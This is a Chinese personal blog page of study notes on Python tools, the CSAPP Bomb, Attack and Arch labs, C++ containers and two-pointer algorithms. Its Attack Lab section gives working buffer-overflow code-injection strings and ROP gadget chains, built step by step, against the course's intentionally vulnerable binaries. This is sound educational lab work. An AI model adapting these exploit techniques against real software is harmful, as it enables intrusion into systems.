我的个人博客

What past is prolgue.

0%

发表于

python库

tqdm

init

logging

软件运行过程中跟踪一些事件发生

python学习笔记二:(python3 logging函数中format说明) - 陌生初见 - 博客园 (cnblogs.com)

argparser

argparse基本用法

PIL

from PIL import Image
from matplotlib import pyplot as plt

#显示图片，图片尺寸，通道数
img=Image.open("Image/1.jpg")
plt.imshow(img)
img.size,img.layers
#图片变为numpy对象，W*H*C,范围[0-256]
import numpy as np
img_ndarray=np.asarray(img)
#W*H*C
img_ndarray.shape

#numpy转化为torch，C*W*H
trans=torchvision.transforms.ToTensor()
img2_trans=trans(img2_n)
img2_trans.shape

python程序打包成exe

pip install pyinstaller
pyinstaller xxx.py

常用可选项及说明：

  • **-F：**打包后只生成单个exe格式文件；

  • **-D：**默认选项，创建一个目录，包含exe文件以及大量依赖文件；

  • **-c：**默认选项，使用控制台(就是类似cmd的黑框)；

  • **-w：**不使用控制台；

  • **-p：**添加搜索路径，让其找到对应的库；

  • **-i：**改变生成程序的icon图标。

发表于

Bomb Lab

查看bomb.c可以看到源代码的大致结构

image-20211204202050832

反汇编main函数：

disas main

image-20211204202454298

根据汇编代码和原函数的对应关系，可以猜测方框处为对应的printf函数，打印出相应位置的字符串。

image-20211204202746414

phase_1

phase_1首先调用read_line函数，调用函数时返回值保存至%rax寄存器中，之后调用phase_1(input)，在汇编调用中mov %rax, %rdi，%rdi寄存器用于函数调用时的参数传递，因此可以猜测%rdi中为输入的字符串的首地址。

反汇编phase_1，目标是要拆除bomb，则%eax的值应该为0，否则会调用explode_bomb。

image-20211204203646413

反汇编strings_not_equal和其中的string_length

image-20211204204919118

image-20211204204331046

0对应于ASCII码的空字符，空字符是字符串的结束符，因此string_length为判断以%rdi为首地址的字符串的字符串的长度，并用%rax寄存器返回。

所以在strings_not_equal中，首先判断%rsi ，%rdi为首地址的字符串长度是否相同，长度相同的话逐字符比较是否相等，如果两个字符串相等，%rax=0，并返回。%rdi为输入的字符串，则%rsi为要判断是否相等的字符串，找出其地址，在汇编代码phase_1中，为0x402400，gdb查看内容。

image-20211204205320626

image-20211204205419707

phase_2

查看phase_2的汇编代码

image-20211204205903327

查看调用的read_six_numbers函数汇编代码

image-20211204213232445

image-20211204213314955

可以发现函数读入6个int型数据，其中四个数据的存储位置通过寄存器传递，另外两个通过栈进行传递。

传递函数参数的寄存器

image-20211204213138427

在read_six_numbers中（下图为16进制）：

image-20211204213209675

分析phase_2的汇编代码，先判断(%rsp)处的值是否为1，然后与自己相加，即乘以2后与下一个数比较，依次向下，直到数据末尾。因此要输入的字符串为

1 2 4 8 16 32

image-20211204213743046

phase_3

查看phase_3的汇编代码

image-20211205112242562

在蓝色框中调用了scanf函数，并且返回值要大于1，否则炸弹会爆炸。

image-20211205112527233

可以看到scanf接受两个int值。

设置断点，随便输入两个数测试，发现0xc(%rsp)处为输入的第二个数，0x8(%rsp)处为输入的第一个数。

image-20211205113446648

则phase_3的汇编代码读入两个数后，将输入的第一个数与7比较，小于则跳转到*0x402470(, x, 8)处，x为输入的第一个数。

image-20211205114250947

输入的第一数为1时，跳转到0x400fb9，此处的指令将%eax寄存器的值设为0x137=311，并与第二个数比较。不同则调用explode_bomb。

因此输入为1 311，也可选择输入别的数。

image-20211205114821636

phase_4

image-20211205130044173

与phase_3一样，这里也要输入两个数，同时还可以看出第一个数小于等于14，第二个数为0。通过寄存器给func4传递了三个参数%edi（输入的第一个数），%esi（0），%edx（0xe=14）

image-20211205131746044

这里递归调用了func4函数，将汇编代码转换成等价的C代码，用a表示%edi的值，b表示%esi的值，c表示%edx的值

用标记t表示蓝色框最后%eax的值，则[（c-b）>>31+（c-b）] >> 1

下面用tmp表示执行完0x400fdf后%ecx的值：

#include <iostream>
using namespace std;
int fun4(int a, int b, int c)
{
    int tmp = (((c - b) + ((c - b) >> 31)) >> 1) + b;
    if (tmp <= a)
    {
        if (tmp >= a)
            return 0;
        else
            return (fun4(a, tmp + 1, c) * 2 + 1);
    }
    else
        return fun4(a, b, tmp - 1) * 2;
}
int main()
{
    for (int i = 0; i <= 14; i++)
    {
        if (fun4(i, 0, 14) == 0)
            cout << i << " ";
    }
    getchar();
}

得到第一个数可能为：0，1，3，7

image-20211205115347016

phase_5

image-20211205154040157

先从上往下看，第一个红色框设置金丝雀值，然后判断输入的字符串长度是否为6。忽略其中部分代码，蓝色框是可以使函数正常退出的流程，其中比较了0x10(%rsp)处开始的字符串与0x40245e处开始的字符串是否相等。

image-20211205154748217

则函数栈中相应位置为：

image-20211205160209218

分析绿色框中的汇编代码，因为%rbx的值为%rdi，即我们输入的字符串首地址，进行一系列操作，实际到红色框时，%rdx的低位字节的低4位对应于对应的字符值，其余全部置0。重要的是这条指令：

and    $0xf,%edx

这时是以输入的字符数值大小作为索引，来到0x40108b查找相应的字符，放到位置0x10(%rsp, %rax, 1)处。

image-20211205161111520

这个实验的设置很有意思，哈哈，我们在这个数组中逐字符找到flyers的相应位置下标为：9 F E 5 6 7

这时只要到ASCII码中查找X9, XF, XE, X5, X6, X7相应的可输入字符即可，比如第一个字符可以为 ) (29) 9(39) I(49)等。

image-20211205115408234

phase_6

终于到了最后阶段。依旧对汇编代码进行分割，划分成几个阶段。

image-20211205182158385

与phase_2一样，读入6个int型数据，放到%rsi为首地址的地方，下面包含两个循环，外循环依次遍历6个数，内循环将这个数与之后的数比较。

外循环对原数据减1后$\leq$5，则原数据$\leq$6，同时这6个数据相互之间不想等。

image-20211205190200537

image-20211205191611260

这里首先对输入的六个数据进行7-x处理后在放到原位置。下面反复出现0x6032d0这个值。查看内存内容，可以发现其结构类似于结构体链表：

%rdx初始值为0x6032d0，则mov 0x8(%rdx),%rdx指令取下一个节点的地址。 mov (%rsp,%rsi,1),%ecx取输入的数据值，如果不是1的话，则递增%eax，同时%rdx指向下一个节点的地址，指导%eax的值与当前的输入数据值相等。并将相应的节点位置放到

mov %rdx,0x20(%rsp,%rsi,2)，因此输入的数据对应了内存位置中的第几个节点。

image-20211205191926752

%rbx=0x20(%rsp)，这段代码保证了%rbx后面相应地址指针所指向的地址内容的低4位字节是递减顺序，这里就很坑，因为高四位字节就是1，2，3，4，5，6，看起来很顺眼。

image-20211205200728497

得到上图，相应的数据为3 4 5 6 1 2，则原输入数据为：4 3 2 1 6 5

image-20211205115430850

发表于

Attack Lab

CSAPP:Attack lab - 简书 (jianshu.com)

代码注入攻击

level 1

反汇编test和getbuf函数，看到getbuf的栈空间大小为0x28，即40字节。

  • test

image-20211126104027322

  • getbuf

image-20211126104154718

  • touch1

(gdb) disas touch1
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:		sub    $0x8,%rsp
   0x00000000004017c4 <+4>:		movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:	mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:	callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:	mov    $0x1,%edi
   0x00000000004017dd <+29>:	callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:	mov    $0x0,%edi
   0x00000000004017e7 <+39>:	callq  0x400e40 <exit@plt>
End of assembler dump.

查看touch1的地址，用touch1的地址覆盖原来的返回地址

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

将每个字节的十六进制表示通过hex2raw转换为字符串，并将得到的字符串作为ctarget的输入。

image-20211127184819454

level 2

插入一段代码作为攻击字符串（exploit string）的一部分。

设置断点，查看栈顶地址。

(gdb) break getbuf
(gdb) run -q
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) print /x $rsp
$1 = 0x5561dca0
(gdb) stepi
14	in buf.c
(gdb) print /x $rsp
$2 = 0x5561dc78

image-20211126105412037

touch2需要接受一个参数，这个参数需要与cookie值相同，函数的第一个参数通过寄存器%rdi传递，同时设置完参数后需要将控制流转移到touch2，查看touch2的开始地址。

image-20211127190235909

因此汇编代码，将touch2的地址压入栈顶，ret会弹出栈顶元素作为返回地址。

movq  $0x59b997fa, %rdi		
pushq $0x4017ec                
ret

对汇编代码汇编生成目标文件，对目标代码反汇编，得到指令序列的字节表示

gcc -c level2.s
objdump -d level2.o > level2.d

image-20211127190828639

得到攻击字符串的字节序列：

48 c7 c7 fa 97 b9 59 68 ec 17     
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00			/* 栈顶地址0x5561dc78 */

验证

./hex2raw < solution2.txt | ./ctarget -q

image-20211127191142818

level3

touch3函数接受一个指向字符数组首地址的指针作为参数

image-20211127195837095

hexmatch接受cookie和字符数组作为参数，将cookie转化为字符串“59b997fa”，字符串的最后会有一个空字符/0作为结束符，十六进制表示为00，strncmp函数比较了9个字符，因此在字符数组后面跟上结束符00

image-20211127200218526

查看getbuf，在函数返回前会修改栈顶的位置，释放占用的栈空间，而此时通过转移程序控制流执行touch3函数，调用hexmatch时会在栈上分配空间，因此touch3的参数指向的字符数组位置不能放在getbuf申请的占空间上。

image-20211126104154718

test的栈空间之后不会用到，因此将cookie的字符数组表示放在test的栈空间中。cookie为0x59b997fa，表示为十六进制为35 39 62 39 39 37 66 61 00，栈空间组织如下。

image-20211127204653792

getbuf栈空间应该执行的汇编代码：将字符数组的首地址通过%rdi寄存器传递给函数touch3，同时设置返回地址为touch3的首地址

movq $0x5561dca8, %rdi     
pushq $0x4018fa            
ret

生成指令字节序列

gcc -c level3.s 将汇编代码变成机器代码

objdump -d level3.o >level3.d 将机器代码反编译成汇编代码

image-20211127205117537

对应攻击字符串的字节序列

48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00             
35 39 62 39 39 37 66 61
00

验证

./hex2raw < solution3.txt | ./ctarget -q

image-20211127205424905

ROP攻击

在rtarget中，采用了两种方法来对抗栈溢出攻击：

  • 栈随机化

    设置断点，运行两次查看%rsp栈顶的值，发现其值发生变化。这意味着无法知道getbuf申请栈空间后的栈顶值，从而无法将我们的可执行代码的字节序列以字符串的形式插入到相应的位置。

    image-20211128192038064

  • 限制可执行代码区域，栈为不可执行区域

rtarget中没有进行栈破坏检测，因此可以通过破话test的栈帧来达到幸运的目的。

level2

touch2接受一个参数，需要通过寄存器%rdi来传递，因此可以先把cookie值存放在栈中，通过popq指令获得这个值。

image-20211128193143591

根据提示，在start_farm和end_farm中查找满足要求的指令编码：

指令编码需要满足一定要求，nop的指令编码为0x90，ret的指令编码为0xc3，我们通过popq指令或许栈顶的值后，不能有其他的无效指令或者别的指令对结果造成影响。

因此，如果指令为popq %rax，可以寻找的指令编码为 58 （90） c3，可以找到两处符合要求的。

image-20211128194353528

最后的结果时可以找到popq %rdi，直接将想应的值送到%rdi寄存器，查找5f (90) c3，没有找到符合的结果，因此只能先将cookie值传递到一个中间寄存器，在传递到%rdi寄存器中。

image-20211128194608732

这一题只需要用到start_farm到mid_farm中的指令编码，通过查找，找到

0x4019cc       58 		popq %rax
               90		nop
               c3		ret

这样的话，通过查看movq指令的编码，需要查找的指令编码为48 89 c7 (90) c3

image-20211128195027771

这里可以找到两个符合要求的结果：

image-20211128195203377

使用的指令编码为

0x4019a2	48 89 c7	movq %rax, %rdi
			c3			ret

因此栈可以组织如下：

当getbuf函数返回时，返回地址为0x4019cc，同时栈顶为红色位置。

在0x4019cc，执行popq %rax操作，此时栈顶指向的值为0x4019a2，执行ret指令，将这个值作为返回地址。

执行完0x4019a2处的指令后，将0x4017ec作为返回地址，执行touch2。

image-20211128201044882

对应攻击字符串的字节序列：

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00           /* popq %rax */
fa 97 b9 59 00 00 00 00           /* cookie    */
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

image-20211128201617892

level3

同代码注入攻击的level3，需要将cookie的字符串十六进制表示存储在某一位置，这一位置不能在getbuf栈帧中，因此需要在test栈帧中。其表示需要占用9个字节，可以考虑放在最近的位置，也就是返回地址的上面，返回地址是我们第一个可以操作的地方，这是要得到%rsp，即cookie字符串首地址的值。movq %rsp, D的指令编码为48 89 eX(X不确定)，查找：

可以查找到相关指令编码，这时栈顶指向字符串的首地址，而字符串占了两个8字节，后面需要跟两个pop指令让栈顶指向后面的位置，在后面的位置我们可以操作填上其他的地址，以供ret指令返回到相应的位置，但查找不到想应的指令序列。

image-20211128202754741

不能通过栈顶地址确定cookie字符串的地址，则cookie可以放在之后的位置，通过首地址+偏移量来确定其位置，但此时依旧需要先确定栈顶位置，并保存其值，因此先查找48 89 eX，看可以使用的指令编码：

找到的序列只有48 89 e0 c3可以满足要求，对应指令movq %rsp, %rax。现在看通过%rax可以将值传递到哪个寄存器，查找48 49 cX：

只能找到48 89 c7，可以实现%rax -> %rdi，当前无法向下继续进行，查看另外两个指令编码。

image-20211128205105364

根据实验提供的相应andb、orb、cmpb、testb指令可以指导出现这样的两个字节指令编码时不影响相关寄存器的值，因此存在于我们想要的指令后面。观察相应指令特征，来进行查找：

对于movl类指令查找：

movl andb、orb、cmpb、testb ret
89 ( ) (20、08、38、84) (c0、c9、d2、db) c3

其中90也是不影响结果的，可以出现在相应中间位置。查找到的相关指令，可以看出可以实现%eax -> %edx -> %esi的传递。

image-20211128204306609

同时之前level2可以找到popq %rax指令，因此可以将偏移量存放在栈中，通过pop指令来进行传递给%esi。然后可以基址+偏移量来确定地址。

image-20211128205504176

现在还无法确定偏移量的值应该为多少，先通过之前的分析，确定程序的控制流：

image-20211128211625690

可以确定偏移量为72=0x48

对应攻击字符串的字节序列：

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00

image-20211128211834719

发表于

Arch Lab

环境准备

image-20211130101913363

需要先安装flex、bison，直接安装就好。

安装tcl/tk

sudo apt install tcl tcl-dev tk tk-dev

需要修改相应makefile文件，不需要GUI界面的话第一个就注释掉，第二个需要修改路径。通过命令行直接安装的话时8.6版本，而原来的路径为8.5的，会出现找到到相应文件的问题。后面相应实验出现问题都要修改相应的makefile文件。

image-20211202210850852

Part A

sum.ys 迭代求和

.pos 0
	irmovq stack, %rsp
	call main
	halt

# Sample linked list 
.align 8
ele1:
	.quad 0x00a 
	.quad ele2
ele2:
	.quad 0x0b0 
	.quad ele3
ele3:
	.quad 0xc00 
	.quad 0

main:
	irmovq ele1, %rdi
	call sum_list
	ret

sum_list:
	xorq %rax, %rax     #sum=0
	andq %rdi, %rdi	    #set CC, test is pointer=0
	jmp test
loop:
	mrmovq (%rdi), %r9	    #element value
	addq %r9, %rax
	mrmovq 8(%rdi), %rdi
	andq %rdi, %rdi
test:
	jne loop
	ret

	.pos 0x200
stack:

image-20211202202601014

rsum.ys 递归求和

	.pos 0
	irmovq stack, %rsp
	call main
	halt

# Sample linked list 
.align 8
ele1:
	.quad 0x00a 
	.quad ele2
ele2:
	.quad 0x0b0 
	.quad ele3
ele3:
	.quad 0xc00 
	.quad 0

main:
	irmovq ele1, %rdi
	andq %rax, %rax
	call rsum_list
	ret

rsum_list:
	jmp test
add:	mrmovq (%rdi),%r8
	mrmovq 8(%rdi), %rdi
	pushq %r8
	call rsum_list
	popq %r8
	addq %r8, %rax
test:
	andq %rdi, %rdi
	jne add
	ret	


	.pos 0x200
stack:

在递归调用前先保存当前内存位置值到%r8寄存器中，再保存到栈中。

image-20211202202836226

copy.ys 复制到目标位置

	.pos 0
	irmovq stack, %rsp
	call main
	halt

	.align 8
# Source block 
src:
	.quad 0x00a 
	.quad 0x0b0 
	.quad 0xc00

# Destination block 
dest:
	.quad 0x111 
	.quad 0x222 
	.quad 0x333


main:
	irmovq src, %rdi
	irmovq dest, %rsi
	irmovq $3, %rdx

	irmovq $1, %r9
	irmovq $8, %r10

	call copy_block
	halt

copy_block:
	xorq %rax, %rax		# result=0
	andq %rdx, %rdx		# set CC
	jmp test
loop:
	mrmovq (%rdi), %r8
	addq %r10, %rdi		# val=*src++

	rmmovq %r8, (%rsi)
	addq %r10, %rsi
	xorq %r8, %rax
	subq %r9, %rdx

test:
	jne loop
	ret

	.pos 0x200
stack:

image-20211202203108136

Part B

参考OPq rA, rB和irmovq V, rB指令的执行阶段

image-20211124161712200

iaddq执行数据流

image-20211202152108525

在instr_valid、need_regids、need_valC

srcB、dstE

aluA、aluB、setCC

相应位置添加IIADDQ

测试

image-20211202204245751

make SIM=../seq/ssim TFLAGS=-i

image-20211202204322969

Part C

未修改：

Average CPE: 15.18

添加iaddq指令，向Part B那样添加iaddq指令后修改代码，得到CPE: 12.70

# You can modify this portion
	# Loop header
	xorq %rax,%rax		# count = 0;
	andq %rdx,%rdx		# len <= 0?
	jle Done		# if so, goto Done:

Loop:	mrmovq (%rdi), %r10	# read val from src...
	rmmovq %r10, (%rsi)	# ...and store it to dst
	andq %r10, %r10		# val <= 0?
	jle Npos		# if so, goto Npos:
	iaddq $1, %rax		# count++
Npos:	
	iaddq $-1, %rdx		# len--
	iaddq $8, %rdi		# src++
	iaddq $8, %rsi		# dst++
	andq %rdx,%rdx		# len > 0?
	jg Loop			# if so, goto Loop:

Average CPE: 12.70

采用循环展开，通过增加每次迭代计算的元素的数量，减少循环的迭代次数。

要减少CPE，需要尽可能充分利用时钟周期，即让每个时钟周期执行对我们的结果有意义的指令。

mrmovq (%rdi), %r10	# read val from src...
rmmovq %r10, (%rsi)	# ...and store it to dst

第二条指令在译码阶段需要读取%r10寄存器中的值，但第一条指令直到访存阶段才能读取出应该放到%r10寄存器中的值，出现加载/使用数据冒险，编译器会在此间加入一个气泡，可以利用这个时钟周期，执行有意义的指令，预先读出后面内存中的值来提高时钟周期的利用率。

这里采用四次循环展开，前面4个为一组处理后，剩下的长度可能为1,2,3。通过在Recover中恢复剩余的元素个数。如果小于等于0的话，说明初始长度为4的倍数，直接返回，否则还要复制相应个数的元素。

# You can modify this portion
	# Loop header
	xorq %rax,%rax		# count = 0;
	iaddq $-4,%rdx		# len <= 0?
	jl Recover		# if so, goto Done:

Loop4:	mrmovq (%rdi), %r10	# read val from src...
	mrmovq 8(%rdi), %r11
	mrmovq 16(%rdi), %r12

	rmmovq %r10, (%rsi)	# ...and store it to dst
	andq %r10, %r10		# val <= 0?
	jle Npos		# if so, goto Npos:
	iaddq $1, %rax		# count++
Npos:	
	rmmovq %r11, 8(%rsi)
	andq %r11, %r11
	jle Npos1
	iaddq $1, %rax
Npos1:
	mrmovq 24(%rdi), %r13
	rmmovq %r12, 16(%rsi)
	andq %r12, %r12
	jle Npos2
	iaddq $1, %rax
Npos2:
	rmmovq %r13, 24(%rsi)
	andq %r13, %r13
	jle Npos3
	iaddq $1, %rax
Npos3:
	iaddq $32, %rdi		# src++
	iaddq $32, %rsi		# dst++
	iaddq $-4, %rdx		# len-- len > 0?
	jge Loop4		# if so, goto Loop:





Recover:
	iaddq $4,%rdx		# len <= 0?
	jle Done

	mrmovq (%rdi), %r10	# read val from src...
	mrmovq 8(%rdi), %r11
	
	rmmovq %r10, (%rsi)	# ...and store it to dst
	andq %r10, %r10		# val <= 0?
	jle Npos4		# if so, goto Npos:
	iaddq $1, %rax		# count++
Npos4:	
	iaddq $-1, %rdx
	jle Done 

	rmmovq %r11, 8(%rsi)
	andq %r11, %r11
	jle Npos5
	iaddq $1, %rax
Npos5:
	iaddq $-1, %rdx
	jle Done 
	mrmovq 16(%rdi), %r12
	rmmovq %r12, 16(%rsi)
	andq %r12, %r12
	jle Done
	iaddq $1, %rax
##################################################################
# Do not modify the following section of code
# Function epilogue.
Done:
	ret

这里会有条件跳转，在pipe-full.hcl的描述中，是跳转到跳转条件满足的位置，即跳转到Done，但Done后面紧跟ret返回，而大多数情况是跳转到跳转条件不满足的位置，继续向下执行。因此如果跳转到Done执行后面的指令会浪费时钟周期，而如果继续向下执行，读取内存中的值时，如果之后需要用到，则可以利用当前的时钟周期。修改pipe-full.hcl为分支条件不满足的位置，即jmp后面的那条指令位置。

image-20211202210413232

image-20211202210453153

image-20211202210506511

最终Score: 60

发表于

一、绪论

123

数据结构

Data_Structure=(D,S)

数据结构

抽象数据类型

Abstract Data Type, ADT

(D, S, P)

算法

枚举

遇到影响全局的操作，一般会想到枚举操作次数。

二分查找

  • 最小化最大值、最大化最小值

  • 有序数组查找目标值

动态规划

方案数

发表于

Sequential Containers

元素在顺序容器中的顺序与其加入容器时的位置相对应。

Container Operations

image-20230524163541746

vector<int> vec;
vector<int>::iterator iter1 = vec.begin(), iter2 = vec.end();
[begin,end)

定义和初始化容器

C c 默认初始化
C c1(c2)
C c1=c2
C c{a,b,c,…}
C c={a,b,c,…}
C c(b,e) 迭代器初始化，[b,e)
C seq(n)
C seq(n,t) n个元素，值为t

Container Adaptors

容器适配器

image-20230523175546695

stack

image-20230523175309310

queue

priority_queue

template <class T, class Container = vector<T>,  class Compare = less<typename Container::value_type> > class priority_queue;

Compare:

comp(a,b)，如果a应该出现在b前面，返回true，弹出的元素是根据strict weak ordering的最后一个元素

A binary predicate that takes two elements (of type T) as arguments and returns a bool.
The expression comp(a,b), where comp is an object of this type and a and b are elements in the container, shall return true if a is considered to go before b in the strict weak ordering the function defines.
The priority_queue uses this function to maintain the elements sorted in a way that preserves heap properties (i.e., that the element popped is the last according to this strict weak ordering).
This can be a function pointer or a function object, and defaults to less<T>, which returns the same as applying the less-than operator (a<b).

发表于

set

multiset

(41条消息) multiset用法总结_二喵君的博客-CSDN博客

常用函数总结：

构造、拷贝、析构

操作

效果

set c

产生一个空的set/multiset，不含任何元素

set c(op)

以op为排序准则，产生一个空的set/multiset

set c1(c2)

产生某个set/multiset的副本，所有元素都被拷贝

set c(beg,end)

以区间[beg,end)内的所有元素产生一个set/multiset

set c(beg,end, op)

以op为排序准则，区间[beg,end)内的元素产生一个set/multiset

c.~set()

销毁所有元素，释放内存

set<Elem>

产生一个set，以(operator <)为排序准则

set<Elem,0p>

产生一个set，以op为排序准则

非变动性操作

操作

效果

c.size()

返回当前的元素数量

c.empty ()

判断大小是否为零，等同于0 == size()，效率更高

c.max_size()

返回能容纳的元素最大数量

c1 == c2

判断c1是否等于c2

c1 != c2

判断c1是否不等于c2(等同于!(c1==c2))

c1 < c2

判断c1是否小于c2

c1 > c2

判断c1是否大于c2

c1 <= c2

判断c1是否小于等于c2(等同于!(c2<c1))

c1 >= c2

判断c1是否大于等于c2 (等同于!(c1<c2))

特殊的搜寻函数

sets和multisets在元素快速搜寻方面做了优化设计，提供了特殊的搜寻函数，所以应优先使用这些搜寻函数，可获得对数复杂度，而非STL的线性复杂度。比如在1000个元素搜寻，对数复杂度平均十次，而线性复杂度平均需要500次。

操作

效果

count (elem)

返回元素值为elem的个数

find(elem)

返回元素值为elem的第一个元素，如果没有返回end()

lower _bound(elem)

返回元素值为elem的第一个可安插位置，也就是元素值 >= elem的第一个元素位置

upper _bound (elem)

返回元素值为elem的最后一个可安插位置，也就是元素值 > elem 的第一个元素位置

equal_range (elem)

返回elem可安插的第一个位置和最后一个位置，也就是元素值==elem的区间

赋值

操作

效果

c1 = c2

将c2的元素全部给c1

c1.swap(c2)

将c1和c2 的元素互换

swap(c1,c2)

同上，全局函数

迭代器相关函数

sets和multisets的迭代器是双向迭代器，对迭代器操作而言，所有的元素都被视为常数，可以确保你不会人为改变元素值，从而打乱既定顺序，所以无法调用变动性算法，如remove()。

操作

效果

c.begin()

返回一个随机存取迭代器，指向第一个元素

c.end()

返回一个随机存取迭代器，指向最后一个元素的下一个位置

c.rbegin()

返回一个逆向迭代器，指向逆向迭代的第一个元素

c.rend()

返回一个逆向迭代器，指向逆向迭代的最后一个元素的下一个位置

安插和删除元素

必须保证参数有效,迭代器必须指向有效位置，序列起点不能位于终点之后，不能从空容器删除元素。

操作

效果

c.insert(elem)

插入一个elem副本，返回新元素位置，无论插入成功与否。

c.insert(pos, elem)

安插一个elem元素副本，返回新元素位置，pos为收索起点，提升插入速度。

c.insert(beg,end)

将区间[beg,end)所有的元素安插到c，无返回值。

c.erase(elem)

删除与elem相等的所有元素，返回被移除的元素个数。

c.erase(pos)

移除迭代器pos所指位置元素，无返回值。

c.erase(beg,end)

移除区间[beg,end)所有元素，无返回值。

c.clear()

移除所有元素，将容器清空

发表于

双指针

区间指针

分组循环

查找符合条件的区间，寻找左右边界

2765. 最长交替子序列

class Solution {
public:
    int alternatingSubarray(vector<int>& nums) {  
        int n=nums.size();
        // 分组循环，外层循环枚举起点，内层循环扩展右侧边界
        int i=0;
        int ans=-1;
        while(i<n-1){
            if(nums[i+1]-nums[i]!=1){
                i++;
                continue;
            }
            int left=i; //记录左端点
            i++;
            while(i<n&&nums[i]==nums[left+(i-left)%2])
                i++;
            ans=max(ans,i-left);
            i--;        //回退到上一个区间最后一个位置
        }
        return ans;
    }
};

6900. 统计完全子数组的数目

class Solution {
public:
    int countCompleteSubarrays(vector<int>& nums) {
        unordered_set<int> record(nums.begin(),nums.end());
        int m=record.size();
        unordered_map<int,int> cnt;        //记录每个数字出现的个数
        
        int left=0,ans=0,n=nums.size();
        //枚举右端点
        for(int right=0;right<n;right++){
            cnt[nums[right]]++;
            while(cnt.size()==m){
                int x=nums[left++];
                if(--cnt[x]==0)
                    cnt.erase(x);
            }
            ans+=left;
        }

        return ans;
    }
};

快慢指针

floyd判圈

234. 回文链表

image-20211224105728916

image-20211224113536339

  • 从链表第一个节点开始
    $$
    \begin{aligned}
    r为环的长度，n为圈数 \
    2(a+x-1)=(a-1)+n\times r+x \
    a=n\times r -x+1
    \end{aligned}
    $$

  • 从头节点（不存储数据）开始
    $$
    \begin{aligned}
    r为环的长度，n为圈数 \
    2(a+x)=a+n\times r+x \
    a=n\times r -x
    \end{aligned}
    $$

    slow，fast初始时指向同一个位置，而终止条件也是指向同一个位置，因此采用do—while循环比较好

    fast遇到null停止，将判断相遇放到循环里

    public ListNode detectCycle(ListNode head) {
            if(head == null || head.next == null ) {
                return null;
            }
            ListNode fast = head;
            ListNode slow = head;
            // 找到相遇点z （对应上图）
            while(true) {
                if(fast == null || fast.next == null) {
                    return null;
                }
                fast = fast.next.next;
                slow = slow.next;
                if (fast == slow) {
                    break;
                }
            }
            // 想到 cycle起点y （对应上图）
            slow = head;
            while(fast != slow) {
                fast = fast.next;
                slow = slow.next;
            }
            return fast;
            
        }

滑动窗口

窗口大小固定

滑动窗口，可以用来解决一些查找满足一定条件的连续区间的性质（长度等）的问题。由于区间连续，因此当区间发生变化时，可以通过旧有的计算结果对搜索空间进行剪枝，这样便减少了重复计算，降低了时间复杂度。往往类似于“请找到满足xx的最x的区间（子串、子数组）的xx”这类问题都可以使用该方法进行解决。

一般滑动窗口维护两个指针，左指针和右指针。

  • 当窗口内的元素未达到题目条件时，右指针右移，探索未知的区间来满足条件

  • 当窗口内的元素达到题目条件时，左指针右移，压缩区间，使窗口尽可能短得满足题目条件

首尾指针

指针分别指向首位置和尾位置，向中间移动

15. 三数之和

class Solution {
public:
    vector<vector<int>> threeSum(vector<int> &nums) {
    sort(nums.begin(), nums.end());
    vector<vector<int>> ans;
    int m, n;
    //考虑空数组情况，这里i<nums.size()-2为实际范围，这样写不用判断数组大小是否符合
    for (int i = 0; i < nums.size(); i++) {
        if (i > 0 && nums[i] == nums[i - 1])
            continue;
        m = i + 1;
        n = nums.size() - 1;
        for (; m < nums.size(); m++) {
            if (m > i + 1 && nums[m] == nums[m - 1])
                continue;
            //寻找第三个元素
            while (m < n && nums[i] + nums[m] + nums[n] > 0)
                n--;
            //比较巧妙的情况，当m==n时，说明三个数相加还是大于0的，因为已经排好序，继续向后寻找第二个数还是会大于0
            if (m == n)
                break;
            if (nums[i] + nums[m] + nums[n] == 0)
                ans.push_back(vector<int>{nums[i], nums[m], nums[n]});
        }
    }
    return ans;
}
};
class Solution {
public:
    vector<vector<int>> threeSum(vector<int>& nums) {
        sort(nums.begin(),nums.end());
        vector<vector<int>> ans;

        int n=nums.size();

        for(int i=0;i<n-2;i++){
            if(i>0&&nums[i]==nums[i-1])
                continue;
            
            int left=i+1,right=n-1;
            while(left<right){
                while(left<right&&left>i+1&&nums[left]==nums[left-1])
                    left++;
                if(left==right)
                    break;
                
                int sum=nums[i]+nums[left]+nums[right];
                if(sum<0)
                    left++;
                else if(sum>0)
                    right--;
                else{
                    ans.push_back({nums[i],nums[left],nums[right]});
                    left++;
                    right--;
                }
            }
        }
        return ans;
    }
};

16. 最接近的三数之和

使用while循环和标记跳过重复元素

class Solution {
public:
    int threeSumClosest(vector<int>& nums, int target) {
        sort(nums.begin(), nums.end());
        int n=nums.size();
        int ans = nums[0] + nums[1] + nums[2];

        for(int i=0;i<n;i++){
            // 跳过相同元素
            if(i>0&&nums[i]==nums[i-1])
